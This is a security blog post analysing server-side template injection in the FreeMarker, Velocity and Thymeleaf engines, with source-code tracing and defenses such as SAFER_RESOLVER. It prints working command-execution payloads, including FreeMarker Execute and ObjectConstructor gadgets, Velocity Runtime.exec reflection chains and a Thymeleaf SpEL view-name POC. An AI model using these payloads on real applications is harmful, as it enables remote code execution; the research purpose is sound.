Java Server-Side Template Injection Vulnerability Analysis

Java Server-Side Template Injection Vulnerability Analysis

FreeMarker

FreeMarker template files consist of four main components:

(1) Text: Directly output portions

(2) Comments: Using <#-- ... --> format for comments, content inside won't be output

(3) Interpolation: ${...} or #{...} formatted sections, similar to placeholders that will be replaced with data model content

(4) FTL directives: FreeMarker directives, short for FreeMarker Template Language, similar to HTML tags but prefixed with # for distinction, not output. FreeMarker uses FreeMarker Template Language (FTL), which is simple and dedicated language. However, FTL is not as mature programming language as PHP, meaning data preparation like database queries and business operations needs to be done in other real programming languages, then templates display prepared data. In templates, you can focus on how to present data, while outside templates you focus on what data to show.

FreeMarker is a template engine, a general-purpose tool for generating text output based on templates, written purely in Java. Templates don't contain business logic; external Java programs generate data through database operations and pass it to templates, then output pages. It can generate various texts: HTML, XML, RTF, Java source code, etc., doesn't require Servlet environment, and can load templates from any source like local files, databases, etc.

Demo:

hello.ftl

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker Introduction</title>
</head>
<body>
<#--Just a comment, no output-->
Hello ${userName}, ${greetingMessage}
</body>
</html>

HelloFreeMarker.java

public class HelloFreeMarkerExample {
    public static void main(String[] args) throws Exception{
        //1. Create configuration instance
        Configuration configInstance = new Configuration(Configuration.getVersion());
        //2. Set template directory
        configInstance.setDirectoryForTemplateLoading(new File("D:\\development\\idea\\SSTI\\src\\main\\resources"));
        //3. Set character encoding
        configInstance.setDefaultEncoding("utf-8");
        //4. Load template
        Template tmpl = configInstance.getTemplate("hello.ftl");
        //5. Create data model
        Map dataMap = new HashMap();
        dataMap.put("userName", "John");
        dataMap.put("greetingMessage", "Welcome to my blog!");
        //6. Create Writer instance
        Writer writerOutput = new FileWriter(new File("D:\\development\\idea\\SSTI\\src\\main\\resources\\hello.html"));
        //7. Process output
        tmpl.process(dataMap, writerOutput);
        //8. Close Writer instance
        writerOutput.close();
    }
}

Generated hello.html after execution:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker Introduction</title>
</head>
<body>
Hello John, Welcome to my blog!
</body>
</html>

Vulnerable hello.ftl that executes commands and triggers calculator:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker Introduction</title>
</body>
<body>
<#--Just a comment, no output-->
Hello ${userName}, ${greetingMessage}
<h3>
    <#assign execUtil="freemarker.template.utility.Execute"?new()>${execUtil("calc")}
</h3>
</body>
</html>

Setting breakpoint at template.process(map, out); output statement

Get root node, call visit method

Push parent nodes into stack, extract each child node then call visit, finally pop stack, each node calls respective accept method

As shown in red box above, TextBlock#accept outputs text, Comment returns null directly

DollarVariable#accept

Follow eval function to see how values are retrieved

Finally reaches rootDataModel#get which gets values from initially encapsulated Environment, back to accept method returns string directly if condition matches

Let's examine how assign tag triggers command execution

Call eval method

Here MethodCall inherits Expression,

Follow NewBI#_eval

First, this exploitation class must be subclass of TemplateModel, and not subclass of BeanModel, returns constructor of this class

Create instance

Put into namespace

Call DollarVariable again to process ${execUtil("calc")}

Previous step put into currentNamespace, retrieve Execute object

Here eval retrieves malicious class, exec executes method

Finally calls Execute#exec command execution

Same value name completes command execution

<#assign execUtil="freemarker.template.utility.Execute"?new()>${execUtil("calc")}

freemarker.template.utility.ObjectConstructor

<#assign objCreator="freemarker.template.utility.ObjectConstructor"?new()>${objCreator("java.lang.ProcessBuilder","ifconfig").start()}

First parameter performs class loading, then calls parameterized constructor

Core method, parse objects, parameters, call corresponding exec method

freemarker.template.utility.JythonRuntime class

Requires jython dependency

<dependency>
            <groupId>org.python</groupId>
            <artifactId>jython-standalone</artifactId>
            <version>2.7.3</version>
</dependency>

<#assign jythonHandler="freemarker.template.utility.JythonRuntime"?new()><@jythonHandler>import os;os.system("calc")</@jythonHandler>

Defense:

Filter freemarker.template.utility.JythonRuntime, freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor

Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

Since version 2.3.17, official versions provide three TemplateClassResolver classes for parsing:

1. UNRESTRICTED_RESOLVER: Can obtain any class through ClassUtil.forName(className).

2. SAFER_RESOLVER: Cannot load freemarker.template.utility.JythonRuntime, freemarker.template.utility.Execute, freemarker.template.utility.ObjectConstructor these three classes.

3. ALLOWS_NOTHING_RESOLVER: Cannot resolve any class.

All versions require security additions, otherwise SSTI injection may occur

Velocity

Dependency:

<dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity-engine-core</artifactId>
            <version>2.2</version>
</dependency>

Demo:

public static void main(String[] args) throws IOException {
        // 1. Set velocity resource loader
        Properties properties = new Properties();
        properties.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");
        // 2. Initialize velocity engine
        Velocity.init(properties);
        // 3. Create velocity context
        VelocityContext velocityCtx = new VelocityContext();
        velocityCtx.put("displayName", "Hello Velocity");
        // 4. Load velocity template
        Template template = Velocity.getTemplate("velocitytest.vm", "utf-8");
        // 5. Merge data to template
        FileWriter fileWriter = new FileWriter("D:\\development\\idea\\SSTI\\src\\main\\resources\\velocitytest.html");
        template.merge(velocityCtx, fileWriter);
        // 6. Release resources
        fileWriter.close();
    }

velocitytest.vm

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
hello , ${displayName}
</body>
</html>

Velocity Syntax:

  • Comments
  • Non-parsed content
  • References
  • Directives

References: Include property references, method references

Method References

Context
velocityCtx.put("currentTime", new Date());

${currentTime.getTime()}

#hello , 1750073365764 Output result

Directives

Directives mainly used for defining reusable modules, importing external resources, flow control. Directives start with # character.

Conditional Judgment

Write an isLoggedIn() method

Context
velocityCtx.put("userInfo", new User("john",true));

Template
#if($userInfo.isLoggedIn())
	Welcome back
#else
	Please log in.
#end

Output result

Loops

velocityCtx.put("animalList", new ArrayList<>(Arrays.asList("Cat","Dog","Pig")));

Include

Velocity supports including other template files via #include directive

#include(another.vm)

Mathematical Operations

Such as #set($result = $firstValue * $secondValue)
Value of a is $result

Can also be used for class method calls

#set($authStatus = $userInfo.isLoggedIn())

! Identifier

Provides simple way to ensure default value is used when referenced variable is empty, helps avoid null values in templates, enhancing template robustness and user experience, when you want to reference variable and provide default value

#set($userName = '')

${userName!"default"} 

Output default

Malicious Code

#set($engine="e")
$engine.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

Echo whoami command

#set($emptyStr='')
#set($runtimeClass = $emptyStr.class.forName('java.lang.Runtime'))
#set($charClass = $emptyStr.class.forName('java.lang.Character'))
#set($stringClass = $emptyStr.class.forName('java.lang.String'))
//Start subprocess to execute command, return `Process` object
#set($execution=$runtimeClass.getRuntime().exec('whoami')) 
//Method blocks until subprocess terminates
$execution.waitFor()
#set($inputStream=$execution.getInputStream())
#foreach( $counter in [1..$inputStream.available()])$stringClass.valueOf($charClass.toChars($inputStream.read()))#end

- **Purpose**: Convert bytes in output stream to string and output.
- **Principle**:
  - `$inputStream.available()` Get readable byte count.
  - `#foreach` Loop through each byte
  - `$inputStream.read()` Read single byte, `Character.toChars()` convert to character array, `String.valueOf()` convert to string.
    
In Velocity template engine
1..is Range Operator syntax
Like 1..N generates [1..2..N]

Template Injection:

Velocity.evaluate method primarily combines given template string with context object to generate final output

Easy to understand, parse references, assignments, etc. To make templates dynamic rather than hardcoded, evaluate gives templates dynamic characteristics and this dynamic characteristic combined with controllable variables leads to injection

Simulate username controllable

String userNameInput="#set($engine=\"e\")$engine.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"calc\")";
        String templateContent = "Hello, " + userNameInput + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext contextObj = new VelocityContext();
        contextObj.put("name", "test");
        contextObj.put("phone", "1333333333");
        contextObj.put("email", "test@test.com");

        StringWriter stringWriter = new StringWriter();
        Velocity.evaluate(contextObj, stringWriter, "test", templateContent);

        System.out.println(stringWriter.toString());

Stored as AST tree, then call render for parsing

Put $engine into context #set($engine="e")

$engine.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"cmd.exe /c calc\")

Store each method as ASTMethod through dots then chain call

Invoke methods through reflection, invoke executes method

template.merge

Method: Merge loaded context

Here directly referencing Hello-java-sec target example, same principle as FreeMarker injection, modified is template

Rather than above parsing through evaluate

Thymeleaf

Features

In Thymeleaf's html first add below identifier

<html xmlns:th="http://www.thymeleaf.org">

Syntax

<!--th:text is Thymeleaf attribute, used for displaying text-->
<h1 th:text="Welcome to Thymeleaf">Welcome to static HTML page</h1>

Thymeleaf provides some built-in tags, implement specific functions through tags.

Tag Purpose Example
th:id Replace id <input th:id="${user.id}"/>
th:text Text replacement <p text:="${user.name}">bigsai</p>
th:utext HTML-supporting text replacement <p utext:="${htmlcontent}">content</p>
th:object Replace object <div th:object="${user}"></div>
th:value Replace value <input th:value="${user.name}" >
th:each Iteration <tr th:each="student:${user}" >
th:href Replace hyperlink <a th:href="@{index.html}">Hyperlink</a>
th:src Replace resource <script type="text/javascript" th:src="@{index.js}"></script>

POC:

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

Vulnerable demo, briefly describe vulnerability principle, view pollution, when returning view containing :: executes fragment expression, where pre-processing operations contain spel expression execution

Demo

@Controller
public class VulnerableController {
    @GetMapping("/path")
    public String path(String inputName) {
        return "user/" + inputName;
    }
}

Directly come to springmvc view rendering function processDispatchResult,

Where call render, get view name, call resolveViewName to find suitable view resolver

Loop all view resolvers, call resolveViewName, return containing resolvable view resolvers

ContentNegotiatingViewResolver#resolveViewName mainly calls getCandidateViews to find all matching view resolvers

Add all matching ones

Then select most suitable resolver

Next call view.render for parsing

If contains :: then parse as fragment expression (in fragment expression :: part before is templateName, part after is markupSelectors)

fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");

            if (!viewTemplateName.contains("::")) {
                templateName = viewTemplateName;
                markupSelectors = null;
            } else {
                IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

                FragmentExpression fragmentExpression;
                try {
                    fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
                } catch (TemplateProcessingException var25) {
                    throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
                }

                FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
                templateName = FragmentExpression.resolveTemplateName(fragment);
                markupSelectors = FragmentExpression.resolveFragments(fragment);
                Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
                if (nameFragmentParameters != null) {
                    if (fragment.hasSyntheticParameters()) {
                        throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
                    }

                    context.setVariables(nameFragmentParameters);
                }
            }

Here preprocess passed as true, perform pre-compilation on input

Match __, preprocessing marker, Thymeleaf expression preprocessing feature allows placing expressions within __...__, execute preprocessing expression first, then use result as part of subsequent expression for continued processing.

private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);

Call parseExpression again, here preprocess is false, process expression

Call execute to parse spel expression completing command execution. So entire poc construction is clear

So this also works

return "welcome :: " + sectionParam

Second vulnerable situation

@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
    log.info("[vul] SSTI payload: {}", document);
}

This situation core remains unchanged, all about controlling view name to malicious poc during view rendering, causing fragment expression execution during view rendering

Since no view returned here, so view is null, call applyDefaultViewName to get default view name

Get path name as view name through getCachedPath

Call transformPath to format path name, including removing suffix extensions

So in poc if last . not added will cause last . in spel expression to be truncated, sothat's why need to add . at end

After that same process, above 3.0.11 and earlier can use

Later bypasses can check

JAVA Security Thymeleaf Template Injection Protection Bypass - Xianzhi Community

References:

JAVA Security Velocity Template Injection Analysis - Xianzhi Community

Java Template Engine Injection (SSTI) Vulnerability Research - Zheng Han - Blog Garden

JAVA Security Thymeleaf Template Injection Protection Bypass - Xianzhi Community

Tags: java ssti template-injection FreeMarker Velocity

Posted on Wed, 05 Aug 2026 16:55:40 +0000 by firmolari